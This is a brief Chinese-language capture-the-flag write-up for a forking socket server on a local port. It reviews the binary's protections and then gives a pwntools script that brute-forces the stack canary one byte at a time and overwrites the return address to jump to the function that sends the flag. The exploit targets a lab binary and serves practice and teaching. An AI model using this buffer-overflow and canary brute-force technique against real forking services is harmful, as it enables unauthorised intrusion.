先checksec
打开了partial RELRO, canary, NX
可以自建flag, 打本地
echo "flag{Mine}" > flag
运行, 然后netstat查看端口
port: 5555
分析main函数流程
是用socket通信, 其中有读取flag到buf的过程
sub_400BC6是发送flag, 所以要劫持的进程目的返回地址有了: 0x400BC6
利用fork的子进程与父进程同canary特性, 进行canary爆破, 拿到canary后覆盖返回地址劫持流程到send函数
from pwn import *
def brute_canary():
global canary
canary = '\x00'
while len(canary) < 8:
for x in xrange(256): # 2 ** 8
io = remote("127.0.0.1", 5555)
io.recv()
io.send("A" * 104 + canary + chr(x))
try:
io.recv()
canary += chr(x)
break
except: continue
finally: io.close()
log.info("canary: 0x%s" % canary.encode('hex'))
def pwn():
io = remote("127.0.0.1", 5555)
io.recv()
io.send("A" * 104 + canary + "A" * 8 + p64(0x400BC6))
print io.recvline()
if __name__ == '__main__':
brute_canary()
pwn()